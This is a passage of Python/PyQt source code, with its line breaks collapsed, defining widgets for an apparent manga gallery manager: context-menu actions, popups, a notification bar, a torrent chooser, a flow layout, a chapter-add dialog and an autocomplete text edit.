self.parent_widget.manga_list_view.del_chapter, index, chap_number)) remove_ch_menu.addAction(chap_action) else: remove_select_g = remove_menu.addAction('Remove selected galleries', self.remove_selection) remove_menu.addSeparator() if not self.selected: remove_source_g = remove_menu.addAction('Remove gallery and files', lambda: self.view.remove_gallery( [self.index], True)) else: remove_source_select_g = remove_menu.addAction('Remove selected galleries and their files', lambda: self.remove_selection(True)) self.addSeparator() if not self.selected: advanced = self.addAction('Advanced') adv_menu = QMenu(self) advanced.setMenu(adv_menu) change_cover = adv_menu.addAction('Change cover...', self.change_cover) def favourite_select(self): for idx in self.selected: self.parent_widget.manga_list_view.favorite(idx) def change_cover(self): gallery = self.index.data(Qt.UserRole+1) log_i('Attempting to change cover of {}'.format(gallery.title.encode(errors='ignore'))) if gallery.is_archive: try: zip = utils.ArchiveFile(gallery.path) except utils.CreateArchiveFail: gui_constants.NOTIF_BAR.add_text('Attempt to change cover failed. Could not create archive.') return path = zip.extract_all() else: path = gallery.path new_cover = QFileDialog.getOpenFileName(self, 'Select a new gallery cover', filter='Image {}'.format(utils.IMG_FILTER), directory=path)[0] if new_cover and new_cover.lower().endswith(utils.IMG_FILES): if gallery.profile != gui_constants.NO_IMAGE_PATH: try: os.remove(gallery.profile) except FileNotFoundError: log.exception('Could not delete file') gallery.profile = gallerydb.gen_thumbnail(gallery, img=new_cover) gallery._cache = None self.parent_widget.manga_list_view.replace_edit_gallery(gallery, self.index.row()) log_i('Changed cover successfully!') def remove_selection(self, source=False): self.view.remove_gallery(self.selected, source) def op_link(self, select=False): if select: for x in self.selected: gal = x.data(Qt.UserRole+1) utils.open_web_link(gal.link) else: utils.open_web_link(self.index.data(Qt.UserRole+1).link) def op_folder(self, select=False, containing=False): if select: for x in self.selected: text = 'Opening archives...' if self.index.data(Qt.UserRole+1).is_archive else 'Opening folders...' text = 'Opening containing folders...' if containing else text self.view.STATUS_BAR_MSG.emit(text) gal = x.data(Qt.UserRole+1) path = os.path.split(gal.path)[0] if containing else gal.path utils.open_path(path, gal.path) else: text = 'Opening archive...' if self.index.data(Qt.UserRole+1).is_archive else 'Opening folder...' text = 'Opening containing folder...' if containing else text self.view.STATUS_BAR_MSG.emit(text) gal = self.index.data(Qt.UserRole+1) path = os.path.split(gal.path)[0] if containing else gal.path utils.open_path(path, gal.path) def add_chapters(self): def add_chdb(chaps_dict): gallery = self.index.data(Qt.UserRole+1) log_i('Adding new chapter for {}'.format(gallery.title.encode(errors='ignore'))) gallerydb.add_method_queue(gallerydb.ChapterDB.add_chapters_raw, False, gallery.id, {'chapters_dict':chaps_dict}) gallery = gallerydb.GalleryDB.get_gallery_by_id(gallery.id) self.gallery_model.replaceRows([gallery], self.index.row()) ch_widget = ChapterAddWidget(self.index.data(Qt.UserRole+1), self.parent_widget) ch_widget.CHAPTERS.connect(add_chdb) ch_widget.show() class SystemTray(QSystemTrayIcon): """ Pass True to minimized arg in showMessage method to only show message if application is minimized. """ def __init__(self, icon, parent=None): super().__init__(icon, parent=None) self.parent_widget = parent def showMessage(self, title, msg, icon=QSystemTrayIcon.Information, msecs=10000, minimized=False): if minimized: if self.parent_widget.isMinimized(): return super().showMessage(title, msg, icon, msecs) else: return super().showMessage(title, msg, icon, msecs) class ClickedLabel(QLabel): """ A QLabel which emits clicked signal on click """ clicked = pyqtSignal() def __init__(self, s="", **kwargs): super().__init__(s, **kwargs) self.setCursor(Qt.PointingHandCursor) self.setTextInteractionFlags(Qt.LinksAccessibleByMouse | Qt.LinksAccessibleByKeyboard) def mousePressEvent(self, event): self.clicked.emit() return super().mousePressEvent(event) class TagText(QPushButton): def __init__(self, *args, **kwargs): self.search_widget = kwargs.pop('search_widget', None) self.namespace = kwargs.pop('namespace', None) super().__init__(*args, **kwargs) if self.search_widget: if self.namespace: self.clicked.connect(lambda: self.search_widget.search('{}:{}'.format(self.namespace, self.text()))) else: self.clicked.connect(lambda: self.search_widget.search('{}'.format(self.text()))) class BasePopup(TransparentWidget): graphics_blur = QGraphicsBlurEffect() def __init__(self, parent=None, **kwargs): if kwargs: super().__init__(parent, **kwargs) else: super().__init__(parent, flags= Qt.Dialog | Qt.FramelessWindowHint) main_layout = QVBoxLayout() self.main_widget = QFrame() self.setLayout(main_layout) main_layout.addWidget(self.main_widget) self.generic_buttons = QHBoxLayout() self.generic_buttons.addWidget(Spacer('h')) self.yes_button = QPushButton('Yes') self.no_button = QPushButton('No') self.buttons_layout = QHBoxLayout() self.buttons_layout.addWidget(Spacer('h'), 3) self.generic_buttons.addWidget(self.yes_button) self.generic_buttons.addWidget(self.no_button) self.setMaximumWidth(500) self.resize(500,350) self.curr_pos = QPoint() if parent: parent.setGraphicsEffect(self.graphics_blur) # animation property_b_array = QByteArray().append('windowOpacity') self.fade_animation = QPropertyAnimation(self, property_b_array) self.fade_animation.setDuration(800) self.fade_animation.setStartValue(0.0) self.fade_animation.setEndValue(1.0) self.setWindowOpacity(0.0) def mousePressEvent(self, event): self.curr_pos = event.pos() return super().mousePressEvent(event) def mouseMoveEvent(self, event): if event.buttons() == Qt.LeftButton: diff = event.pos() - self.curr_pos newpos = self.pos()+diff self.move(newpos) return super().mouseMoveEvent(event) def showEvent(self, event): self.activateWindow() self.fade_animation.start() self.graphics_blur.setEnabled(True) return super().showEvent(event) def closeEvent(self, event): self.graphics_blur.setEnabled(False) return super().closeEvent(event) def hideEvent(self, event): self.graphics_blur.setEnabled(False) return super().hideEvent(event) def add_buttons(self, *args): """ Pass names of buttons, from right to left. Returns list of buttons in same order as they came in. Note: Remember to add buttons_layout to main layout! """ b = [] for name in args: button = QPushButton(name) self.buttons_layout.addWidget(button) b.append(button) return b class ApplicationPopup(BasePopup): def __init__(self, parent): super().__init__(parent) self.parent_widget = parent main_layout = QVBoxLayout() self.info_lbl = QLabel("Hi there! I need to rebuild your galleries.") self.info_lbl.setAlignment(Qt.AlignCenter) main_layout.addWidget(self.info_lbl) class progress(QProgressBar): reached_maximum = pyqtSignal() def __init__(self, parent=None): super().__init__(parent) def setValue(self, v): if v == self.maximum(): self.reached_maximum.emit() return super().setValue(v) self.prog = progress(self) self.prog.reached_maximum.connect(self.close) main_layout.addWidget(self.prog) note_info = QLabel('Note: This popup will close itself when everything is ready') note_info.setAlignment(Qt.AlignCenter) restart_info = QLabel("Please wait.. It is safe to restart if there is no sign of progress.") restart_info.setAlignment(Qt.AlignCenter) main_layout.addWidget(note_info) main_layout.addWidget(restart_info) self.main_widget.setLayout(main_layout) def closeEvent(self, event): self.parent_widget.setEnabled(True) return super().closeEvent(event) def showEvent(self, event): self.parent_widget.setEnabled(False) return super().showEvent(event) class NotificationOverlay(QWidget): """ A notifaction bar """ clicked = pyqtSignal() def __init__(self, parent=None): super().__init__(parent) self._main_layout = QHBoxLayout(self) self._default_height = 20 self._dynamic_height = 0 self._lbl = QLabel() self._main_layout.addWidget(self._lbl) self._lbl.setAlignment(Qt.AlignCenter) self.setAutoFillBackground(True) self.setBackgroundRole(self.palette().Shadow) self.setContentsMargins(-10,-10,-10,-10) self._click = False self._override_hide = False self.text_queue = [] property_b_array = QByteArray().append('minimumHeight') self.slide_animation = QPropertyAnimation(self, property_b_array) self.slide_animation.setDuration(500) self.slide_animation.setStartValue(0) self.slide_animation.setEndValue(self._default_height) self.slide_animation.valueChanged.connect(self.set_dynamic_height) def set_dynamic_height(self, h): self._dynamic_height = h def mousePressEvent(self, event): if self._click: self.clicked.emit() return super().mousePressEvent(event) def set_clickable(self, d=True): self._click = d self.setCursor(Qt.PointingHandCursor) def resize(self, x, y=0): return super().resize(x, self._dynamic_height) def add_text(self, text, autohide=True): """ Add new text to the bar, deleting the previous one """ try: self._reset() except TypeError: pass if not self.isVisible(): self.show() self._lbl.setText(text) if autohide: if not self._override_hide: t = threading.Timer(10, self.hide) t.start() def begin_show(self): """ Control how long you will show notification bar. end_show() must be called to hide the bar. """ self._override_hide = True self.show() def end_show(self): self._override_hide = False QTimer.singleShot(5000, self.hide) def _reset(self): self.unsetCursor() self._click = False self.clicked.disconnect() def showEvent(self, event): self.slide_animation.start() return super().showEvent(event) class GalleryShowcaseWidget(QWidget): """ Pass a gallery or set a gallery via -> set_gallery """ double_clicked = pyqtSignal(gallerydb.Gallery) def __init__(self, gallery=None, parent=None, menu=None): super().__init__(parent) self.setAttribute(Qt.WA_DeleteOnClose) self.main_layout = QVBoxLayout(self) self.parent_widget = parent if menu: menu.gallery_widget = self self._menu = menu self.gallery = gallery self.profile = QLabel(self) self.profile.setAlignment(Qt.AlignCenter) self.text = QLabel(self) self.font_M = self.text.fontMetrics() self.main_layout.addWidget(self.profile) self.main_layout.addWidget(self.text) self.h = 0 self.w = 0 if gallery: self.h = 220 self.w = 143 self.set_gallery(gallery, (self.w, self.h)) self.resize(self.w, self.h) self.setMouseTracking(True) @property def menu(self): return self._menu @menu.setter def contextmenu(self, new_menu): new_menu.gallery_widget = self self._menu = new_menu def set_gallery(self, gallery, size=(143, 220)): assert isinstance(size, (list, tuple)) self.w = size[0] self.h = size[1] self.gallery = gallery pixm = QPixmap(gallery.profile) if pixm.isNull(): pixm = QPixmap(gui_constants.NO_IMAGE_PATH) pixm = pixm.scaled(self.w, self.h-20, Qt.KeepAspectRatio, Qt.FastTransformation) self.profile.setPixmap(pixm) title = self.font_M.elidedText(gallery.title, Qt.ElideRight, self.w) artist = self.font_M.elidedText(gallery.artist, Qt.ElideRight, self.w) self.text.setText("{}\n{}".format(title, artist)) self.setToolTip("{}\n{}".format(gallery.title, gallery.artist)) self.resize(self.w, self.h) def paintEvent(self, event): painter = QPainter(self) if self.underMouse(): painter.setBrush(QBrush(QColor(164,164,164,120))) painter.drawRect(self.text.pos().x()-2, self.profile.pos().y()-5, self.text.width()+2, self.profile.height()+self.text.height()+12) super().paintEvent(event) def enterEvent(self, event): self.update() return super().enterEvent(event) def leaveEvent(self, event): self.update() return super().leaveEvent(event) def mouseDoubleClickEvent(self, event): self.double_clicked.emit(self.gallery) return super().mouseDoubleClickEvent(event) def contextMenuEvent(self, event): if self._menu: self._menu.exec_(event.globalPos()) event.accept() else: event.ignore() class SingleGalleryChoices(BasePopup): """ Represent a single gallery with a list of choices below. Pass a gallery and a list of tuple/list where the first index is a string in each if text is passed, the text will be shown alongside gallery, else gallery be centered """ USER_CHOICE = pyqtSignal(tuple) def __init__(self, gallery, tuple_first_idx, text=None, parent = None): super().__init__(parent, flags= Qt.Dialog | Qt.FramelessWindowHint) main_layout = QVBoxLayout() self.main_widget.setLayout(main_layout) g_showcase = GalleryShowcaseWidget() g_showcase.set_gallery(gallery, (170//1.40, 170)) if text: t_layout = QHBoxLayout() main_layout.addLayout(t_layout) t_layout.addWidget(g_showcase, 1) info = QLabel(text) info.setWordWrap(True) t_layout.addWidget(info) else: main_layout.addWidget(g_showcase, 0, Qt.AlignCenter) self.list_w = QListWidget(self) self.list_w.setAlternatingRowColors(True) self.list_w.setWordWrap(True) self.list_w.setTextElideMode(Qt.ElideNone) main_layout.addWidget(self.list_w, 3) main_layout.addLayout(self.buttons_layout) for t in tuple_first_idx: item = CustomListItem(t) item.setText(t[0]) self.list_w.addItem(item) self.buttons = self.add_buttons('Skip', 'Choose',) self.buttons[1].clicked.connect(self.finish) self.buttons[0].clicked.connect(self.skip) self.resize(400, 400) self.show() def finish(self): item = self.list_w.selectedItems() if item: item = item[0] self.USER_CHOICE.emit(item.item) self.close() def skip(self): self.USER_CHOICE.emit(()) self.close() class BaseUserChoice(QDialog): USER_CHOICE = pyqtSignal(object) def __init__(self, parent, **kwargs): super().__init__(parent, **kwargs) self.setAttribute(Qt.WA_DeleteOnClose) self.setAttribute(Qt.WA_TranslucentBackground) main_widget = QFrame(self) layout = QVBoxLayout(self) layout.addWidget(main_widget) self.main_layout = QFormLayout(main_widget) def accept(self, choice): self.USER_CHOICE.emit(choice) super().accept() class TorrentItem: def __init__(self, url, name="", date=None, size=None, seeds=None, peers=None, uploader=None): self.url = url self.name = name self.date = date self.size = size self.seeds = seeds self.peers = peers self.uploader = uploader class TorrentUserChoice(BaseUserChoice): def __init__(self, parent, torrentitems=[], **kwargs): super().__init__(parent, **kwargs) title = QLabel('Torrents') title.setAlignment(Qt.AlignCenter) self.main_layout.addRow(title) self._list_w = QListWidget(self) self.main_layout.addRow(self._list_w) for t in torrentitems: self.add_torrent_item(t) btn_layout = QHBoxLayout() choose_btn = QPushButton('Choose') choose_btn.clicked.connect(self.accept) btn_layout.addWidget(Spacer('h')) btn_layout.addWidget(choose_btn) self.main_layout.addRow(btn_layout) def add_torrent_item(self, item): list_item = CustomListItem(item) list_item.setText("{}\nSeeds:{}\tPeers:{}\tSize:{}\tDate:{}\tUploader:{}".format( item.name, item.seeds, item.peers, item.size, item.date, item.uploader)) self._list_w.addItem(list_item) def accept(self): items = self._list_w.selectedItems() if items: item = items[0] super().accept(item.item) class LoadingOverlay(QWidget): def __init__(self, parent=None): super().__init__(parent) palette = QPalette(self.palette()) palette.setColor(palette.Background, Qt.transparent) self.setPalette(palette) def paintEngine(self, event): painter = QPainter() painter.begin(self) painter.setRenderHint(QPainter.Antialiasing) painter.fillRect(event.rect(), QBrush(QColor(255,255,255,127))) painter.setPen(QPen(Qt.NoPen)) for i in range(6): if (self.counter/5) % 6 == i: painter.setBrush(QBrush(QColor(127+ (self.counter%5)*32,127,127))) else: painter.setBrush(QBrush(QColor(127,127,127))) painter.drawEllipse(self.width()/2+30* math.cos(2*math.pi*i/6.0) - 10, self.height()/2+30* math.sin(2*math.pi*i/6.0) - 10, 20,20) painter.end() def showEvent(self, event): self.timer = self.startTimer(50) self.counter = 0 super().showEvent(event) def timerEvent(self, event): self.counter += 1 self.update() if self.counter == 60: self.killTimer(self.timer) self.hide() class FileIcon: def __init__(self): self.ico_types = {} def get_file_icon(self, path): if os.path.isdir(path): if not 'dir' in self.ico_types: self.ico_types['dir'] = QFileIconProvider().icon(QFileInfo(path)) return self.ico_types['dir'] elif path.endswith(utils.ARCHIVE_FILES): suff = '' for s in utils.ARCHIVE_FILES: if path.endswith(s): suff = s if not suff in self.ico_types: self.ico_types[suff] = QFileIconProvider().icon(QFileInfo(path)) return self.ico_types[suff] @staticmethod def get_external_file_icon(): if gui_constants._REFRESH_EXTERNAL_VIEWER: if os.path.exists(gui_constants.GALLERY_EXT_ICO_PATH): os.remove(gui_constants.GALLERY_EXT_ICO_PATH) info = QFileInfo(gui_constants.EXTERNAL_VIEWER_PATH) icon = QFileIconProvider().icon(info) pixmap = icon.pixmap(QSize(32, 32)) pixmap.save(gui_constants.GALLERY_EXT_ICO_PATH, quality=100) gui_constants._REFRESH_EXTERNAL_VIEWER = False return QIcon(gui_constants.GALLERY_EXT_ICO_PATH) @staticmethod def refresh_default_icon(): if os.path.exists(gui_constants.GALLERY_DEF_ICO_PATH): os.remove(gui_constants.GALLERY_DEF_ICO_PATH) def get_file(n): gallery = gallerydb.GalleryDB.get_gallery_by_id(n) if not gallery: return False file = "" if gallery.path.endswith(tuple(ARCHIVE_FILES)): try: zip = ArchiveFile(gallery.path) except utils.CreateArchiveFail: return False for name in zip.namelist(): if name.lower().endswith(tuple(IMG_FILES)): folder = os.path.join( gui_constants.temp_dir, '{}{}'.format(name, n)) zip.extract(name, folder) file = os.path.join( folder, name) break; else: for p in scandir.scandir(gallery.chapters[0]): if p.name.lower().endswith(tuple(IMG_FILES)): file = p.path break; return file # TODO: fix this! (When there are no ids below 300? (because they go deleted)) for x in range(1, 300): try: file = get_file(x) break except FileNotFoundError: continue except CreateArchiveFail: continue if not file: return None icon = QFileIconProvider().icon(QFileInfo(file)) pixmap = icon.pixmap(QSize(32, 32)) pixmap.save(gui_constants.GALLERY_DEF_ICO_PATH, quality=100) return True @staticmethod def get_default_file_icon(): s = True if not os.path.isfile(gui_constants.GALLERY_DEF_ICO_PATH): s = FileIcon.refresh_default_icon() if s: return QIcon(gui_constants.GALLERY_DEF_ICO_PATH) else: return None #def center_parent(parent, child): # "centers child window in parent" # centerparent = QPoint( # parent.x() + (parent.frameGeometry().width() - # child.frameGeometry().width())//2, # parent.y() + (parent.frameGeometry().width() - # child.frameGeometry().width())//2) # desktop = QApplication.desktop() # sg_rect = desktop.screenGeometry(desktop.screenNumber(parent)) # child_frame = child.frameGeometry() # if centerparent.x() < sg_rect.left(): # centerparent.setX(sg_rect.left()) # elif (centerparent.x() + child_frame.width()) > sg_rect.right(): # centerparent.setX(sg_rect.right() - child_frame.width()) # if centerparent.y() < sg_rect.top(): # centerparent.setY(sg_rect.top()) # elif (centerparent.y() + child_frame.height()) > sg_rect.bottom(): # centerparent.setY(sg_rect.bottom() - child_frame.height()) # child.move(centerparent) class Spacer(QWidget): """ To be used as a spacer. Default mode is both. Specify mode with string: v, h or both """ def __init__(self, mode='both', parent=None): super().__init__(parent) if mode == 'h': self.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Expanding) elif mode == 'v': self.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Preferred) else: self.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) class FlowLayout(QLayout): def __init__(self, parent=None, margin=0, spacing=-1): super(FlowLayout, self).__init__(parent) if parent is not None: self.setContentsMargins(margin, margin, margin, margin) self.setSpacing(spacing) self.itemList = [] def __del__(self): item = self.takeAt(0) while item: item = self.takeAt(0) def addItem(self, item): self.itemList.append(item) def count(self): return len(self.itemList) def itemAt(self, index): if index >= 0 and index < len(self.itemList): return self.itemList[index] return None def takeAt(self, index): if index >= 0 and index < len(self.itemList): return self.itemList.pop(index) return None def expandingDirections(self): return Qt.Orientations(Qt.Orientation(0)) def hasHeightForWidth(self): return True def heightForWidth(self, width): height = self.doLayout(QRect(0, 0, width, 0), True) return height def setGeometry(self, rect): super(FlowLayout, self).setGeometry(rect) self.doLayout(rect, False) def sizeHint(self): return self.minimumSize() def minimumSize(self): size = QSize() for item in self.itemList: size = size.expandedTo(item.minimumSize()) margin, _, _, _ = self.getContentsMargins() size += QSize(2 * margin, 2 * margin) return size def doLayout(self, rect, testOnly): x = rect.x() y = rect.y() lineHeight = 0 for item in self.itemList: wid = item.widget() spaceX = self.spacing() + wid.style().layoutSpacing(QSizePolicy.PushButton, QSizePolicy.PushButton, Qt.Horizontal) spaceY = self.spacing() + wid.style().layoutSpacing(QSizePolicy.PushButton, QSizePolicy.PushButton, Qt.Vertical) nextX = x + item.sizeHint().width() + spaceX if nextX - spaceX > rect.right() and lineHeight > 0: x = rect.x() y = y + lineHeight + spaceY nextX = x + item.sizeHint().width() + spaceX lineHeight = 0 if not testOnly: item.setGeometry(QRect(QPoint(x, y), item.sizeHint())) x = nextX lineHeight = max(lineHeight, item.sizeHint().height()) return y + lineHeight - rect.y() class LineEdit(QLineEdit): """ Custom Line Edit which sacrifices contextmenu for selectAll """ def __init__(self, parent=None): super().__init__(parent) def mousePressEvent(self, event): if event.button() == Qt.RightButton: self.selectAll() else: super().mousePressEvent(event) def contextMenuEvent(self, QContextMenuEvent): pass class PathLineEdit(QLineEdit): """ A lineedit which open a filedialog on right/left click Set dir to false if you want files. """ def __init__(self, parent=None, dir=True, filters=utils.FILE_FILTER): super().__init__(parent) self.folder = dir self.filters = filters self.setPlaceholderText('Right/Left-click to open folder explorer.') self.setToolTip('Right/Left-click to open folder explorer.') def openExplorer(self): if self.folder: path = QFileDialog.getExistingDirectory(self, 'Choose folder') else: path = QFileDialog.getOpenFileName(self, 'Choose file', filter=self.filters) path = path[0] if len(path) != 0: self.setText(path) def mousePressEvent(self, event): assert isinstance(event, QMouseEvent) if len(self.text()) == 0: if event.button() == Qt.LeftButton: self.openExplorer() else: return super().mousePressEvent(event) if event.button() == Qt.RightButton: self.openExplorer() super().mousePressEvent(event) class ChapterAddWidget(QWidget): CHAPTERS = pyqtSignal(dict) def __init__(self, gallery, parent=None): super().__init__(parent) self.setWindowFlags(Qt.Window) self.setAttribute(Qt.WA_DeleteOnClose) self.current_chapters = len(gallery.chapters) self.added_chaps = 0 layout = QFormLayout() self.setLayout(layout) lbl = QLabel('{} by {}'.format(gallery.title, gallery.artist)) layout.addRow('Gallery:', lbl) layout.addRow('Current chapters:', QLabel('{}'.format(self.current_chapters))) new_btn = QPushButton('Add directory') new_btn.clicked.connect(lambda: self.add_new_chapter('f')) new_btn.adjustSize() new_btn_a = QPushButton('Add archive') new_btn_a.clicked.connect(lambda: self.add_new_chapter('a')) new_btn_a.adjustSize() add_btn = QPushButton('Finish') add_btn.clicked.connect(self.finish) add_btn.adjustSize() new_l = QHBoxLayout() new_l.addWidget(add_btn, 1, alignment=Qt.AlignLeft) new_l.addWidget(Spacer('h')) new_l.addWidget(new_btn, alignment=Qt.AlignRight) new_l.addWidget(new_btn_a, alignment=Qt.AlignRight) layout.addRow(new_l) frame = QFrame() frame.setFrameShape(frame.StyledPanel) layout.addRow(frame) self.chapter_l = QVBoxLayout() frame.setLayout(self.chapter_l) self.setMaximumHeight(550) self.setFixedWidth(500) if parent: self.move(parent.window().frameGeometry().topLeft() + parent.window().rect().center() - self.rect().center()) else: frect = self.frameGeometry() frect.moveCenter(QDesktopWidget().availableGeometry().center()) self.move(frect.topLeft()) self.setWindowTitle('Add Chapters') def add_new_chapter(self, mode): chap_layout = QHBoxLayout() self.added_chaps += 1 curr_chap = self.current_chapters+self.added_chaps chp_numb = QSpinBox(self) chp_numb.setMinimum(curr_chap-1) chp_numb.setMaximum(curr_chap+1) chp_numb.setValue(curr_chap) curr_chap_lbl = QLabel('Chapter {}'.format(curr_chap)) def ch_lbl(n): curr_chap_lbl.setText('Chapter {}'.format(n)) chp_numb.valueChanged[int].connect(ch_lbl) if mode =='f': chp_path = PathLineEdit() chp_path.setPlaceholderText('Right/Left-click to open folder explorer.'+ ' Leave empty to not add.') elif mode == 'a': chp_path = PathLineEdit(dir=False) chp_path.setPlaceholderText('Right/Left-click to open folder explorer.'+ ' Leave empty to not add.') chp_path.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Preferred) if mode == 'f': chap_layout.addWidget(QLabel('D')) elif mode == 'a': chap_layout.addWidget(QLabel('A')) chap_layout.addWidget(chp_path, 3) chap_layout.addWidget(chp_numb, 0) self.chapter_l.addWidget(curr_chap_lbl, alignment=Qt.AlignLeft) self.chapter_l.addLayout(chap_layout) def finish(self): chapters = {} widgets = [] x = True while x: x = self.chapter_l.takeAt(0) if x: widgets.append(x) for l in range(1, len(widgets), 1): layout = widgets[l] try: line_edit = layout.itemAt(1).widget() spin_box = layout.itemAt(2).widget() except AttributeError: continue p = line_edit.text() c = spin_box.value() - 1 # because of 0-based index if os.path.exists(p): chapters[c] = p self.CHAPTERS.emit(chapters) self.close() class CustomListItem(QListWidgetItem): def __init__(self, item=None, parent=None): super().__init__(parent) self.item = item class GalleryListView(QWidget): SERIES = pyqtSignal(list) def __init__(self, parent=None, modal=False): super().__init__(parent) self.setWindowFlags(Qt.Dialog) self.setAttribute(Qt.WA_DeleteOnClose) layout = QVBoxLayout() self.setLayout(layout) if modal: frame = QFrame() frame.setFrameShape(frame.StyledPanel) modal_layout = QHBoxLayout() frame.setLayout(modal_layout) layout.addWidget(frame) info = QLabel('This mode let\'s you add galleries from ' + 'different folders.') f_folder = QPushButton('Add directories') f_folder.clicked.connect(self.from_folder) f_files = QPushButton('Add archives') f_files.clicked.connect(self.from_files) modal_layout.addWidget(info, 3, Qt.AlignLeft) modal_layout.addWidget(f_folder, 0, Qt.AlignRight) modal_layout.addWidget(f_files, 0, Qt.AlignRight) check_layout = QHBoxLayout() layout.addLayout(check_layout) if modal: check_layout.addWidget(QLabel('Please uncheck galleries you do' + ' not want to add. (Exisiting galleries won\'t be added'), 3) else: check_layout.addWidget(QLabel('Please uncheck galleries you do' + ' not want to add. (Existing galleries are hidden)'), 3) self.check_all = QCheckBox('Check/Uncheck All', self) self.check_all.setChecked(True) self.check_all.stateChanged.connect(self.all_check_state) check_layout.addWidget(self.check_all) self.view_list = QListWidget() self.view_list.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOn) self.view_list.setVerticalScrollBarPolicy(Qt.ScrollBarAsNeeded) self.view_list.setAlternatingRowColors(True) self.view_list.setEditTriggers(self.view_list.NoEditTriggers) layout.addWidget(self.view_list) add_btn = QPushButton('Add checked') add_btn.clicked.connect(self.return_gallery) cancel_btn = QPushButton('Cancel') cancel_btn.clicked.connect(self.close_window) btn_layout = QHBoxLayout() spacer = QWidget() spacer.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Preferred) btn_layout.addWidget(spacer) btn_layout.addWidget(add_btn) btn_layout.addWidget(cancel_btn) layout.addLayout(btn_layout) self.resize(500,550) frect = self.frameGeometry() frect.moveCenter(QDesktopWidget().availableGeometry().center()) self.move(frect.topLeft()) self.setWindowTitle('Gallery List') self.count = 0 def all_check_state(self, new_state): row = 0 done = False while not done: item = self.view_list.item(row) if item: row += 1 if new_state == Qt.Unchecked: item.setCheckState(Qt.Unchecked) else: item.setCheckState(Qt.Checked) else: done = True def add_gallery(self, item, name): """ Constructs an widgetitem to hold the provided item, and adds it to the view_list """ assert isinstance(name, str) gallery_item = CustomListItem(item) gallery_item.setText(name) gallery_item.setFlags(gallery_item.flags() | Qt.ItemIsUserCheckable) gallery_item.setCheckState(Qt.Checked) self.view_list.addItem(gallery_item) self.count += 1 def update_count(self): self.setWindowTitle('Gallery List ({})'.format(self.count)) def return_gallery(self): gallery_list = [] row = 0 done = False while not done: item = self.view_list.item(row) if not item: done = True else: if item.checkState() == Qt.Checked: gallery_list.append(item.item) row += 1 self.SERIES.emit(gallery_list) self.close() def from_folder(self): file_dialog = QFileDialog() file_dialog.setFileMode(QFileDialog.DirectoryOnly) file_dialog.setOption(QFileDialog.DontUseNativeDialog, True) file_view = file_dialog.findChild(QListView, 'listView') if file_view: file_view.setSelectionMode(QAbstractItemView.MultiSelection) f_tree_view = file_dialog.findChild(QTreeView) if f_tree_view: f_tree_view.setSelectionMode(QAbstractItemView.MultiSelection) if file_dialog.exec(): for path in file_dialog.selectedFiles(): self.add_gallery(path, os.path.split(path)[1]) def from_files(self): gallery_list = QFileDialog.getOpenFileNames(self, 'Select 1 or more gallery to add', filter='Archives ({})'.format(utils.FILE_FILTER)) for path in gallery_list[0]: #Warning: will break when you add more filters if len(path) != 0: self.add_gallery(path, os.path.split(path)[1]) def close_window(self): msgbox = QMessageBox() msgbox.setText('Are you sure you want to cancel?') msgbox.setStandardButtons(msgbox.Yes | msgbox.No) msgbox.setDefaultButton(msgbox.No) msgbox.setIcon(msgbox.Question) if msgbox.exec() == QMessageBox.Yes: self.close() class Loading(BasePopup): ON = False #to prevent multiple instances def __init__(self, parent=None): super().__init__(parent) self.progress = QProgressBar() self.progress.setStyleSheet("color:white") self.text = QLabel() self.text.setAlignment(Qt.AlignCenter) self.text.setStyleSheet("color:white;background-color:transparent;") inner_layout_ = QVBoxLayout() inner_layout_.addWidget(self.text, 0, Qt.AlignHCenter) inner_layout_.addWidget(self.progress) self.main_widget.setLayout(inner_layout_) self.resize(300,100) #frect = self.frameGeometry() #frect.moveCenter(QDesktopWidget().availableGeometry().center()) #self.move(parent.window().frameGeometry().topLeft() + # parent.window().rect().center() - # self.rect().center() - QPoint(self.rect().width(),0)) #self.setAttribute(Qt.WA_DeleteOnClose) #self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint) def mousePressEvent(self, QMouseEvent): pass def setText(self, string): if string != self.text.text(): self.text.setText(string) class CompleterTextEdit(QTextEdit): """ A textedit with autocomplete """ def __init__(self, **kwargs): super().__init__(**kwargs) self._completer = None log_d('Instantiate CompleterTextEdit: OK') def setCompleter(self, c): if self._completer is not None: self._completer.activated.disconnect() self._completer = c c.setWidget(self) c.setCompletionMode(QCompleter.PopupCompletion) c.setCaseSensitivity(Qt.CaseInsensitive) c.activated.connect(self.insertCompletion) def completer(self): return self._completer def insertCompletion(self, completion): if self._completer.widget() is not self: return tc = self.textCursor() extra = len(completion) - len(self._completer.completionPrefix()) tc.movePosition(QTextCursor.Left) tc.movePosition(QTextCursor.EndOfWord) tc.insertText(completion[-extra:]) self.setTextCursor(tc) def textUnderCursor(self): tc = self.textCursor() tc.select(QTextCursor.WordUnderCursor) return tc.selectedText() def focusInEvent(self, e): if self._completer is not None: self._completer.setWidget(self) super().focusInEvent(e) def keyPressEvent(self, e): if self._completer is not None and self._completer.popup().isVisible(): # The following keys are forwarded by the completer to the widget. if e.key() in (Qt.Key_Enter, Qt.Key_Return, Qt.Key_Escape, Qt.Key_Tab, Qt.Key_Backtab): e.ignore() # Let the completer do default behavior. return isShortcut = e.modifiers() == Qt.ControlModifier and e.key() == Qt.Key_E if self._completer is None or not isShortcut: # Do not process the shortcut when we have a completer. super().keyPressEvent(e) ctrlOrShift = e.modifiers() & (Qt.ControlModifier | Qt.ShiftModifier) if self._completer is None or (ctrlOrShift and len(e.text()) == 0): return eow = "~!@#$%^&*()_+{}|:\"<>?,./;'[]\\-=" hasModifier = (e.modifiers() != Qt.NoModifier) and not ctrlOrShift completionPrefix = self.textUnderCursor() if not isShortcut and (hasModifier or len(e.text()) == 0 or len(completionPrefix) < 3 or e.text()[-1] in eow): self._completer.popup().hide() return if completionPrefix != self._completer.completionPrefix(): self._completer.setCompletionPrefix(completionPrefix) self._completer.popup().setCurrentIndex( self._completer.completionModel().index(0, 0)) cr = self.cursorRect() cr.setWidth(self._completer.popup().sizeHintForColumn(0) + self._completer.popup().verticalScrollBar().sizeHint().width()) if self._completer: self._completer.complete(cr) #class CompleterWithData(QCompleter): # """ # Instantiate a QCompleter with predefined data # """ # insertText = pyqtSignal(str) # def __init__(self, data, parent=None): # assert isinstance(data, list) # super().__init__(data, parent) # #self.activated[str].connect(self.changeCompletion) # 